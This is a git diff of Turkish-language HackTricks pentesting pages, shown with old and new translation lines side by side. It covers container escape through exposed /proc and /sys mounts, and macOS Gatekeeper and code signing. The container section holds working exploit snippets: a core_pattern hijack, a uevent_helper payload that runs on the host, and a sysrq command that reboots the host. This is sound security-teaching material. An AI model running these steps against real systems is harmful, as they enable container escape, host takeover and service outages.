<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>

View file

@ -2,23 +2,23 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Doğru namespace izolasyonu olmadan `/proc` ve `/sys`'in maruz kalması, saldırı yüzeyinin genişlemesi ve bilgi sızdırma gibi ciddi güvenlik risklerini beraberinde getirir. Bu dizinler, yanlış yapılandırılmış veya yetkisiz bir kullanıcı tarafından erişilen hassas dosyaları içerir ve bu da konteyner kaçışına, ana bilgisayarın değiştirilmesine veya daha fazla saldırıya yardımcı olacak bilgilerin sağlanmasına yol açabilir. Örneğin, `-v /proc:/host/proc` şeklinde yanlış bağlama yapılması, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'u korumasız bırakabilir.
Doğru namespace izolasyonu olmadan `/proc` ve `/sys`'in maruz kalması, saldırı yüzeyinin genişlemesi ve bilgi sızdırma gibi ciddi güvenlik risklerini beraberinde getirir. Bu dizinler, yanlış yapılandırılmış veya yetkisiz bir kullanıcı tarafından erişilen hassas dosyaları içerir ve bu da konteyner kaçışına, ana bilgisayarın değiştirilmesine veya daha fazla saldırıya yardımcı olacak bilgilerin sağlanmasına neden olabilir. Örneğin, `-v /proc:/host/proc` şeklinde yanlış bağlama yapılması, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'u korumasız bırakabilir.
**Her potansiyel zafiyetin daha fazla ayrıntısını** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** adresinde bulabilirsiniz.**
@ -31,8 +31,8 @@ Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini de
#### **`/proc/sys/kernel/core_pattern`**
* [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) adresinde açıklanmıştır.
* Çekirdek dosyası oluşturulduğunda ilk 128 baytın argümanlar olarak kullanılacağı bir programın tanımlanmasına izin verir. Dosya bir boru `|` ile başlıyorsa, bu kod yürütmeyle sonuçlanabilir.
* **Test Etme ve Sömürü Örneği**:
* İlk 128 baytı argümanlar olarak alan bir programın çekirdek dosyası oluşturulduğunda yürütülmesine izin verir. Bu, dosyanın bir boru `|` ile başlaması durumunda kod yürütmeyle sonuçlanabilir.
* **Test ve Sömürü Örneği**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Yazma erişimini test et
@ -44,11 +44,11 @@ sleep 5 && ./crash & # İşleyiciyi tetikle
#### **`/proc/sys/kernel/modprobe`**
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde detaylı olarak açıklanmıştır.
* Çekirdek modül yükleyicisinin yolunu içerir ve çekirdek modüllerini yüklemek için çağrılır.
* Çekirdek modül yükleyicisinin yolunu içerir, çekirdek modüllerini yüklemek için çağrılır.
* **Erişimi Kontrol Etme Örneği**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe'a erişimi kontrol et
```
#### **`/proc/sys/vm/panic_on_oom`**
@ -64,8 +64,8 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
#### **`/proc/sys/fs/binfmt_misc`**
* Sihirli sayılarına dayalı olmayan ikili biçimler için yorumlayıcıları kaydetmeye olanak tanır.
* `/proc/sys/fs/binfmt_misc/register` yazılabilirse, ayrıcalık yükseltmesine veya kök kabuğu erişimine yol açabilir.
* İlgili saldırı ve açıklama:
* `/proc/sys/fs/binfmt_misc/register` yazılabilirse ayrıcalık yükseltmesine veya kök kabuk erişimine yol açabilir.
* İlgili sömürü ve açıklama:
* [binfmt\_misc ile yoksul adamın kök kiti](https://github.com/toffan/binfmt\_misc)
* Detaylı öğretici: [Video bağlantısı](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
@ -73,12 +73,12 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
#### **`/proc/config.gz`**
* `CONFIG_IKCONFIG_PROC` etkinse, çekirdek yapılandırmasını ortaya çıkarabilir.
* `CONFIG_IKCONFIG_PROC` etkinse çekirdek yapılandırmasını ortaya çıkarabilir.
* Çalışan çekirdekteki zafiyetleri belirlemek için saldırganlar için faydalıdır.
#### **`/proc/sysrq-trigger`**
* Sysrq komutlarını çağırmaya izin verir ve potansiyel olarak anında sistem yeniden başlatmalar veya diğer kritik işlemlere neden olabilir.
* Sysrq komutlarını çağırmaya izin verir, potansiyel olarak anında sistem yeniden başlatmalar veya diğer kritik işlemlere neden olabilir.
* **Ana Bilgisayarı Yeniden Başlatma Örneği**:
```bash
@ -88,46 +88,46 @@ echo b > /proc/sysrq-trigger # Ana bilgisayarı yeniden başlatır
#### **`/proc/kmsg`**
* Çekirdek halka tamponu mesajlarınıığa çıkarır.
* Çekirdek saldırılarında, adres sızıntılarında ve hassas sistem bilgilerinde yardımcı olabilir.
* Çekirdek saldırılarına yardımcı olabilir, adres sızıntılarına ve hassas sistem bilgilerine sağlayabilir.
#### **`/proc/kallsyms`**
* Çekirdek dışa aktarılan sembolleri ve adreslerini listeler.
* Özellikle KASLR'yi aşmak için çekirdek saldırı geliştirme için temel öneme sahiptir.
* Adres bilgileri, `kptr_restrict`'in `1` veya `2` olarak ayarlanmasıyla sınırlıdır.
* Özellikle KASLR'yi aşmak için çekirdek sömürü geliştirme için temel öneme sahiptir.
* Adres bilgileri `kptr_restrict`'in `1` veya `2` olarak ayarlanmasıyla sınırlıdır.
* Detaylar [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde bulunabilir.
#### **`/proc/[pid]/mem`**
* Çekirdek bellek cihazı `/dev/mem` ile etkileşim sağlar.
* Tarihsel olarak ayrıcalık yükseltme saldırılarına karşı savunmasızdır.
* Daha fazla bilgi için [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresine bakabilirsiniz.
* Daha fazlası [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde bulunabilir.
#### **`/proc/kcore`**
* ELF çekirdek biçiminde sistem fiziksel belleğini temsil eder.
* Sistemin fiziksel belleğini ELF çekirdek biçiminde temsil eder.
* Okuma, ana bilgisayar sistemi ve diğer konteynerlerin bellek içeriğini sızdırabilir.
* Büyük dosya boyutu, okuma sorunlarına veya yazılım çökmelerine yol açabilir.
* Detaylı kullanım [2019'da /proc/kcore Dökme](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) adresinde bulunabilir.
* Büyük dosya boyutu okuma sorunlarına veya yazılım çökmelerine yol açabilir.
* Ayrıntılı kullanım [2019'da /proc/kcore Dökme](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) adresinde bulunabilir.
#### **`/proc/kmem`**
* Çekirdek sanal belleği temsil eden `/dev/kmem` için alternatif bir arayüz.
* Okuma ve yazma izni verir, dolayısıyla çekirdek belleğinin doğrudan değiştirilmesine olanak tanır.
* Çekirdek sanal belleği temsil eden `/dev/kmem` için alternatif arayüz.
* Okuma ve yazma izin verir, dolayısıyla çekirdek belleğinin doğrudan değiştirilmesine olanak tanır.
#### **`/proc/mem`**
* Fiziksel belleği temsil eden `/dev/mem` için alternatif bir arayüz.
* Okuma ve yazma izni verir, tüm belleğin değiştirilmesi sanal adreslerin fiziksel adreslere çözülmesini gerektirir.
* Fiziksel belleği temsil eden `/dev/mem` için alternatif arayüz.
* Okuma ve yazma izin verir, tüm belleğin değiştirilmesi sanal adreslerin fiziksel adreslere çözülmesini gerektirir.
#### **`/proc/sched_debug`**
* PID ad alanı korumalarını atlayarak işlem zamanlama bilgilerini döndürür.
* İşlem adlarını, kimlikleri ve cgroup kimlikleriniığa çıkarır.
* İşlem adlarını, kimlikleri ve cgroup tanımlayıcılarınıığa çıkarır.
#### **`/proc/[pid]/mountinfo`**
* İşlem bağlantı noktaları hakkında bilgi sağlar.
* İşlem montaj ad alanındaki bağlantı noktaları hakkında bilgi sağlar.
* Konteyner `rootfs` veya görüntünün konumunu açığa çıkarır.
### `/sys` Zafiyetleri
@ -135,18 +135,18 @@ echo b > /proc/sysrq-trigger # Ana bilgisayarı yeniden başlatır
#### **`/sys/kernel/uevent_helper`**
* Çekirdek cihaz `uevent`'leri işlemek için kullanılır.
* `/sys/kernel/uevent_helper`'a yazmak, `uevent` tetikleyicileri üzerine keyfi komut dosyalarını yürütebilir.
* **Sömürü Örneği için**: %%%bash
* `/sys/kernel/uevent_helper`'a yazmak, `uevent` tetikleyicileri üzerine keyfi komut dosyalarını yürütmesine olanak tanır.
* **Sömürü için Örnek**: %%%bash
### Bir yük oluşturur
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
### Konteyner için OverlayFS bağlantı noktasından ana bilgisayar yolunu bulur
### Konteyner için OverlayFS bağlama noktasından ana bilgisayar yolunu bulur
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
### uevent\_helper'ı kötü niyetli yardımcıya ayarlar
### uevent\_helper'ı kötü amaçlı yardımcıya ayarlar
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
@ -173,7 +173,7 @@ cat /output %%%
#### **`/sys/firmware/efi/vars` ve `/sys/firmware/efi/efivars`**
* NVRAM'daki EFI değişkenleriyle etkileşim için arayüzler sunar.
* Yanlış yapılandırma veya kötüye kullanım, tuğla gibi dizüstü bilgisayarlar veya başlatılamayan ana bilgisayar makinelerine yol açabilir.
* Yanlış yapılandırma veya istismar, tuğla haline gelen dizüstü bilgisayarlar veya başlatılamayan ana bilgisayar makinelerine yol açabilir.
#### **`/sys/kernel/debug`**
@ -186,20 +186,20 @@ cat /output %%%
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek katkıda bulunun.
</details>

View file

@ -2,46 +2,46 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks deposuna** [**PR göndererek**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud deposuna**](https://github.com/carlospolop/hacktricks-cloud) **katkıda bulunun**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Gatekeeper
**Gatekeeper**, Mac işletim sistemleri için geliştirilen bir güvenlik özelliğidir ve kullanıcıların sistemlerinde **yalnızca güvenilir yazılımları çalıştırmalarını** sağlamayı amaçlar. Kullanıcının **App Store dışındaki kaynaklardan** (uygulama, eklenti veya yükleyici paketi gibi) indirdiği ve açmaya çalıştığı yazılımı **doğrulayarak** çalışmasını sağlar.
**Gatekeeper**, Mac işletim sistemleri için geliştirilen bir güvenlik özelliğidir ve kullanıcıların sistemlerinde **yalnızca güvenilir yazılımları çalıştırmalarını** sağlamayı amaçlar. Kullanıcının **App Store dışındaki kaynaklardan** (uygulama, eklenti veya yükleyici paketi gibi) indirdiği ve açmaya çalıştığı yazılımı **doğrulayarak** çalışır.
Gatekeeper'ın ana mekanizması, **doğrulama** sürecinde yatar. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalandığını** kontrol eder, yazılımın otantikliğini sağlar. Ayrıca, yazılımın **Apple tarafından noterize edilip edilmediğini** de kontrol eder, bu da yazılımın bilinen kötü amaçlı içerikten yoksun olduğunu ve noterizasyondan sonra değiştirilmediğini doğrular.
Gatekeeper'ın ana mekanizması, **doğrulama** sürecinde yatar. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalandığını** kontrol eder, yazılımın otantikliğini sağlar. Ayrıca, yazılımın **Apple tarafından noterlenip noterlenmediğini** de belirler, bu da yazılımın bilinen kötü amaçlı içerikten yoksun olduğunu ve noterlemeden sonra değiştirilmediğini doğrular.
Ek olarak, Gatekeeper, kullanıcıların indirdikleri yazılımın ilk kez açılmasını **onaylamalarını isteyerek** kullanıcı kontrolünü ve güvenliğini güçlendirir. Bu koruma, kullanıcıların zararlı olabilecek yürütülebilir kodları yanlışlıkla zararsız veri dosyası olarak yanlış anlamalarını önler.
Ek olarak, Gatekeeper, kullanıcı kontrolünü ve güvenliğini **indirilen yazılımın ilk kez açılmasını onaylamak için kullanıcıları uyararak** güçlendirir. Bu koruma, kullanıcıların zararlı olabilecek yürütülebilir kodları yanlışlıkla zararsız veri dosyası olarak yanlış anlamalarını engellemeye yardımcı olur.
### Uygulama İmzaları
Uygulama imzaları, Apple'ın güvenlik altyapısının önemli bir bileşenidir. Bunlar, yazılım yazarının (geliştiricinin) kimliğini **doğrulamak** ve kodun son imzalandığından beri değiştirilmediğinden emin olmak için kullanılır.
Uygulama imzaları, Apple'ın güvenlik altyapısının kritik bir bileşenidir. Bunlar, yazılım yazarının (geliştiricinin) kimliğini **doğrulamak** ve kodun son imzalandığından beri değiştirilmediğinden emin olmak için kullanılır.
İşleyişi şöyle:
1. **Uygulamanın İmzalanması:** Bir geliştirici uygulamasını dağıtmaya hazır olduğunda, uygulamayı **özel bir anahtar kullanarak imzalar**. Bu özel anahtar, geliştiricinin Apple Geliştirici Programı'na kaydolduğunda Apple'ın geliştiriciye verdiği bir **sertifika ile ilişkilidir**. İmzalama işlemi, uygulamanın tüm parçalarının kriptografik bir özetini oluşturmayı ve bu özeti geliştiricinin özel anahtarıyla şifrelemeyi içerir.
2. **Uygulamanın Dağıtılması:** İmzalanan uygulama, geliştiricinin sertifikasıyla birlikte kullanıcılara dağıtılır, bu sertifika ilgili genel anahtarı içerir.
3. **Uygulamanın Doğrulanması:** Bir kullanıcı uygulamayı indirip çalıştırmaya çalıştığında, Mac işletim sistemi geliştiricinin sertifikasındaki genel anahtarı kullanarak özeti şifreler. Daha sonra uygulamanın mevcut durumuna dayanarak özeti yeniden hesaplar ve bu özeti şifrelenmiş özetiyle karşılaştırır. Eşleşirse, bu, uygulamanın geliştirici tarafından imzalandığından beri **değiştirilmediği** anlamına gelir ve sistem uygulamanın çalışmasına izin verir.
1. **Uygulamanın İmzalanması:** Bir geliştirici uygulamasını dağıtmaya hazır olduğunda, uygulamayı **özel bir anahtar kullanarak imzalar**. Bu özel anahtar, geliştiricinin Apple Geliştirici Programı'na kaydolduğunda Apple'ın geliştiriciye verdiği bir **sertifika** ile ilişkilidir. İmzalama işlemi, uygulamanın tüm parçalarının kriptografik bir özetini oluşturmayı ve bu özeti geliştiricinin özel anahtarıyla şifrelemeyi içerir.
2. **Uygulamanın Dağıtılması:** İmzalanan uygulama, kullanıcılara geliştiricinin sertifikasını içeren birlikte dağıtılır, bu sertifika karşılık gelen genel anahtarı içerir.
3. **Uygulamanın Doğrulanması:** Bir kullanıcı uygulamayı indirip çalıştırmaya çalıştığında, Mac işletim sistemi geliştiricinin sertifikasındaki genel anahtarı kullanarak özeti şifreler. Daha sonra uygulamanın mevcut durumuna dayanarak özeti yeniden hesaplar ve bu şifrelenmiş özeti karşılaştırır. Eşleşirse, bu, uygulamanın geliştirici tarafından imzalandığından beri **değiştirilmediği** anlamına gelir ve sistem uygulamanın çalışmasına izin verir.
Uygulama imzaları, Apple'ın Gatekeeper teknolojisinin önemli bir parçasıdır. Bir kullanıcı **internetten indirilen bir uygulamayı açmaya çalıştığında**, Gatekeeper uygulama imzasını doğrular. Eğer Apple tarafından bilinen bir geliştiriciye verilen bir sertifika ile imzalanmışsa ve kod değiştirilmemişse, Gatekeeper uygulamanın çalışmasına izin verir. Aksi takdirde, uygulamayı engeller ve kullanıcıyı uyarır.
Uygulama imzaları, Apple'ın Gatekeeper teknolojisinin önemli bir parçasıdır. Bir kullanıcı **internetten indirilen bir uygulamayı açmaya çalıştığında**, Gatekeeper uygulama imzasını doğrular. Eğer Apple tarafından bilinen bir geliştiriciye verilen bir sertifika ile imzalanmışsa ve kod değiştirilmemişse, Gatekeeper uygulamanın çalışmasına izin verir. Aksi takdirde uygulamayı engeller ve kullanıcıyı uyarır.
macOS Catalina'dan itibaren, **Gatekeeper ayrıca uygulamanın Apple tarafından noterize edilip edilmediğini** de kontrol eder, ek bir güvenlik katmanı ekler. Noterizasyon süreci, uygulamayı bilinen güvenlik sorunları ve kötü amaçlı kodlar açısından kontrol eder ve bu kontrolleri geçerse, Apple uygulamaya Gatekeeper'ın doğrulayabileceği bir bileşen ekler.
macOS Catalina'dan itibaren, **Gatekeeper ayrıca uygulamanın Apple tarafından noterlenip noterlenmediğini de kontrol eder**, ek bir güvenlik katmanı ekler. Noterleme süreci, uygulamayı bilinen güvenlik sorunları ve kötü amaçlı kodlar açısından kontrol eder ve bu kontrolleri geçerse, Apple uygulamaya Gatekeeper'ın doğrulayabileceği bir bilet ekler.
#### İmzaları Kontrol Etme
Bazı **kötü amaçlı yazılım örneğini kontrol ederken** her zaman **binary'nin imzasını kontrol etmelisiniz**, çünkü **imzayı atan geliştirici** zaten **kötü amaçlı yazılımla ilişkili** olabilir.
Bazı **kötü amaçlı yazılım örneğini** kontrol ederken her zaman **binary'nin imzasını kontrol etmelisiniz**, çünkü **imzayı atan geliştirici** zaten **kötü amaçlı yazılımla ilişkili** olabilir.
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -60,17 +60,17 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Notarizasyon
Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet verir. Bu, geliştiricinin uygulamasını Apple'ın Notary Service tarafından incelenmesi için sunmasıyla gerçekleşir, bu da App Review ile karıştırılmamalıdır. Bu hizmet, gönderilen yazılımı **zararlı içerik** ve kod imzalama ile ilgili olası sorunları inceleyen **otomatik bir sistem**dir.
Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet verir. Bu, geliştiricinin uygulamasını Apple'ın Notary Service tarafından incelenmesi için sunmasıyla gerçekleşir, bu da App Review ile karıştırılmamalıdır. Bu hizmet, gönderilen yazılımı kötü amaçlı içerik ve kod imzalama ile ilgili olası sorunlar açısından inceleyen otomatik bir sistemdir.
Eğer yazılım bu incelemeyi **sorunsuz bir şekilde** geçerse, Notary Service bir notarizasyon bileti oluşturur. Geliştiricinin daha sonra bu bileti yazılımlarına **eklemesi** gerekir, bu işlem 'stapling' olarak bilinir. Ayrıca, notarizasyon bileti de çevrimiçi olarak yayınlanır ve Gatekeeper, Apple'ın güvenlik teknolojisi, buna erişebilir.
Yazılım bu incelemeyi herhangi bir endişe uyandırmadan geçerse, Notary Service bir notarizasyon bileti oluşturur. Geliştiricinin daha sonra bu bileti yazılımlarına eklemesi gerekmektedir, bu işlem 'stapling' olarak bilinir. Ayrıca, notarizasyon bileti de çevrimiçi olarak yayınlanır ve Gatekeeper, Apple'ın güvenlik teknolojisi, buna erişebilir.
Kullanıcı yazılımı ilk kez yüklediğinde veya çalıştırdığında, yürütülebilir dosyaya eklenmiş veya çevrimiçi bulunan notarizasyon bileti **Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir**. Sonuç olarak, Gatekeeper, kullanıcıya yazılımın Apple tarafından zararlı içerik açısından kontrol edildiğini belirten açıklayıcı bir mesaj gösterir. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliği konusundaki güvenlerini artırır.
Kullanıcının yazılımı ilk kez yüklediğinde veya çalıştırdığında, yürütülebilir dosyaya eklenmiş veya çevrimiçi bulunan notarizasyon bileti - Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir. Sonuç olarak, Gatekeeper, kullanıcıya yazılımın Apple tarafından kötü amaçlı içerikler için kontrol edildiğini belirten açıklayıcı bir mesaj gösterir. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliği konusundaki güvenini artırır.
### GateKeeper'ın Sıralanması
GateKeeper, güvenilmeyen uygulamaların yürütülmesini engelleyen **birkaç güvenlik bileşeni** ve aynı zamanda **bileşenlerden biri**dir.
GateKeeper, güvenilmeyen uygulamaların yürütülmesini engelleyen birkaç güvenlik bileşeninden oluşur ve aynı zamanda bu bileşenlerden biridir.
GateKeeper'ın **durumunu** görmek mümkündür:
GateKeeper'ın durumunu görmek mümkündür:
```bash
# Check the status
spctl --status
@ -79,11 +79,11 @@ spctl --status
GateKeeper imza kontrollerinin yalnızca **Karantina özniteliğine sahip dosyalara** uygulandığını unutmayın.
{% endhint %}
GateKeeper, bir ikili dosyanın yürütülebilir olup olmadığını **tercihlere ve imzaya** göre kontrol edecektir:
GateKeeper, bir ikili dosyanın yürütülebilir olup olmadığını **tercihlere ve imzaya** göre kontrol eder:
<figure><img src="../../../.gitbook/assets/image (1147).png" alt=""><figcaption></figcaption></figure>
Bu yapılandırmayı tutan veritabanı **`/var/db/SystemPolicy`** konumundadır. Bu veritabanını kök olarak kontrol edebilirsiniz:
Bu yapılandırmayı tutan veritabanı **`/var/db/SystemPolicy`** konumundadır. Bu veritabanını kök olarak şu şekilde kontrol edebilirsiniz:
```bash
# Open database
sqlite3 /var/db/SystemPolicy
@ -97,10 +97,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
Not: İlk kuralın "**App Store**" ile bittiğine ve ikincisinin "**Developer ID**" ile bittiğine dikkat edin ve önceki görüntüde **App Store ve tanımlanmış geliştiricilerden uygulamaları çalıştırmaya izin verildiği** unutulmamalıdır.\
